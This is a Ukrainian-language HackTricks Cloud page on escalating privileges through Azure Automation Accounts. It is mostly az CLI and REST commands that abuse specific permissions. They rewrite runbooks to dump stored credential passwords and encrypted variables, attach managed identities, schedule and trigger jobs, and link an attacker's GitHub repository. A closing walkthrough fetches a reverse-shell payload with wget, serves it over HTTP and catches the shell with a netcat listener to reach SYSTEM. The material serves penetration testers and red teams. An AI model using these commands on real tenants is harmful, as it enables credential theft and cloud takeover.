Az - Azure Automation Accounts Privesc
Reading time: 10 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Azure Automation Accounts
Для отримання додаткової інформації перегляньте:
Hybrid Workers Group
- Від облікового запису автоматизації до VM
Пам'ятайте, що якщо якимось чином зловмисник може виконати довільний runbook (довільний код) у гібридному робітнику, він перейде до місця розташування VM. Це може бути локальна машина, VPC іншого хмари або навіть Azure VM.
Більше того, якщо гібридний робітник працює в Azure з іншими прикріпленими керованими ідентичностями, runbook зможе отримати доступ до керованої ідентичності runbook та всіх керованих ідентичностей VM з сервісу метаданих.
tip
Пам'ятайте, що сервіс метаданих має іншу URL-адресу (http://169.254.169.254
), ніж сервіс, з якого отримують токен керованих ідентичностей облікового запису автоматизації (IDENTITY_ENDPOINT
).
- Від VM до облікового запису автоматизації
Більше того, якщо хтось зламає VM, на якому працює скрипт облікового запису автоматизації, він зможе знайти метадані Automation Account і отримати до них доступ з VM, щоб отримати токени для керованих ідентичностей, прикріплених до облікового запису автоматизації.
Як видно на наступному зображенні, маючи доступ адміністратора до VM, можна знайти в змінних середовища процесу URL-адресу та секрет для доступу до сервісу метаданих облікового запису автоматизації:
Microsoft.Automation/automationAccounts/jobs/write
, Microsoft.Automation/automationAccounts/runbooks/draft/write
, Microsoft.Automation/automationAccounts/jobs/output/read
, Microsoft.Automation/automationAccounts/runbooks/publish/action
(Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.Automation/automationAccounts/runbooks/write
)
У підсумку ці дозволи дозволяють створювати, змінювати та виконувати Runbooks в обліковому записі автоматизації, які ви можете використовувати для виконання коду в контексті облікового запису автоматизації та ескалації привілеїв до призначених керованих ідентичностей та витоку облікових даних і зашифрованих змінних, збережених в обліковому записі автоматизації.
Дозвіл Microsoft.Automation/automationAccounts/runbooks/draft/write
дозволяє змінювати код Runbook в обліковому записі автоматизації, використовуючи:
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
Зверніть увагу, як попередній скрипт може бути використаний для витоку імені користувача та пароля облікових даних і значення зашифрованої змінної, збереженої в Обліковому записі автоматизації.
Дозвіл Microsoft.Automation/automationAccounts/runbooks/publish/action
дозволяє користувачу публікувати Runbook в Обліковому записі автоматизації, щоб зміни були застосовані:
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
Дозвіл Microsoft.Automation/automationAccounts/jobs/write
дозволяє користувачу виконувати Runbook в Обліковому записі автоматизації за допомогою:
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
Дозвіл Microsoft.Automation/automationAccounts/jobs/output/read
дозволяє користувачу читати вихідні дані роботи в Обліковому записі автоматизації за допомогою:
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
Якщо Runbooks не створені, або ви хочете створити новий, вам знадобляться дозволи Microsoft.Resources/subscriptions/resourcegroups/read
та Microsoft.Automation/automationAccounts/runbooks/write
для цього, використовуючи:
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
Microsoft.Automation/automationAccounts/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ця дозволяє користувачу призначити керовану ідентичність користувача для Облікового запису автоматизації за допомогою:
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
Microsoft.Automation/automationAccounts/schedules/write
, Microsoft.Automation/automationAccounts/jobSchedules/write
З дозволом Microsoft.Automation/automationAccounts/schedules/write
можливо створити новий графік у обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди.
Зверніть увагу, що мінімальний інтервал для графіка становить 15 хвилин, а мінімальний час початку - 5 хвилин у майбутньому.
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
Тоді, з дозволом Microsoft.Automation/automationAccounts/jobSchedules/write
можливо призначити планувальник для runbook за допомогою:
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
tip
У попередньому прикладі ідентифікатор jobchedule був залишений як b510808a-8fdc-4509-a115-12cfc3a2ad0d
як приклад але вам потрібно буде використовувати довільне значення для створення цього призначення.
Microsoft.Automation/automationAccounts/webhooks/write
З дозволом Microsoft.Automation/automationAccounts/webhooks/write
можливо створити новий Webhook для Runbook всередині Automation Account, використовуючи наступну команду.
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
Ця команда повинна повернути URI вебхука, який відображається лише під час створення. Потім, щоб викликати runbook, використовуючи URI вебхука
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
Microsoft.Automation/automationAccounts/runbooks/draft/write
Просто з дозволом Microsoft.Automation/automationAccounts/runbooks/draft/write
можливо оновити код Runbook без його публікації та запустити його за допомогою наступних команд.
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
Microsoft.Automation/automationAccounts/sourceControls/write
, (Microsoft.Automation/automationAccounts/sourceControls/read
)
Ця дозволяє користувачу налаштувати контроль версій для облікового запису автоматизації, використовуючи команди, такі як наступні (це використовує Github як приклад):
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
Це автоматично імпортує runbooks з репозиторію Github до Облікового запису автоматизації, і з деякими іншими дозволами для їх запуску буде можливо підвищити привілеї.
Більше того, пам'ятайте, що для роботи контролю версій в Облікових записах автоматизації він повинен мати керовану ідентичність з роллю Contributor
, і якщо це ідентичність, керована користувачем, ідентифікатор клієнта MI повинен бути вказаний у змінній AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID
.
tip
Зверніть увагу, що неможливо змінити URL репозиторію контролю версій після його створення.
Microsoft.Automation/automationAccounts/variables/write
З дозволом Microsoft.Automation/automationAccounts/variables/write
можливо записувати змінні в Обліковий запис автоматизації, використовуючи наступну команду.
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
Custom Runtime Environments
Якщо обліковий запис автоматизації використовує власне середовище виконання, може бути можливим перезаписати власний пакет середовища виконання деяким шкідливим кодом (наприклад, задніми дверима). Таким чином, щоразу, коли виконується runbook, що використовує це власне середовище виконання і завантажує власний пакет, буде виконано шкідливий код.
Compromising State Configuration
Перегляньте повну публікацію за адресою: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
- Крок 1 — Створення файлів
Необхідні файли: Потрібні два скрипти PowerShell:
reverse_shell_config.ps1
: Файл Desired State Configuration (DSC), який отримує та виконує payload. Його можна отримати з GitHub.push_reverse_shell_config.ps1
: Скрипт для публікації конфігурації на VM, доступний на GitHub.
Налаштування: Змінні та параметри в цих файлах повинні бути адаптовані до конкретного середовища користувача, включаючи імена ресурсів, шляхи до файлів та ідентифікатори серверів/payload.
- Крок 2 — Стиснення файлу конфігурації
Файл reverse_shell_config.ps1
стискається в .zip
файл, що робить його готовим для передачі до Azure Storage Account.
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- Крок 3 — Встановлення контексту зберігання та завантаження
Стиснутий файл конфігурації завантажується в заздалегідь визначений контейнер Azure Storage, azure-pentest, за допомогою cmdlet Set-AzStorageBlobContent Azure.
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- Крок 4 — Підготовка Kali Box
Сервер Kali завантажує корисне навантаження RevPS.ps1 з репозиторію GitHub.
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
Скрипт редагується для вказання цільової Windows VM та порту для зворотного шелу.
- Крок 5 — Опублікувати файл конфігурації
Файл конфігурації виконується, в результаті чого скрипт зворотного шелу розгортається у вказаному місці на Windows VM.
- Крок 6 — Хостинг корисного навантаження та налаштування прослуховувача
Запускається Python SimpleHTTPServer для хостингу корисного навантаження, разом з прослуховувачем Netcat для захоплення вхідних з'єднань.
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
Заплановане завдання виконує корисне навантаження, досягаючи привілеїв рівня SYSTEM.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.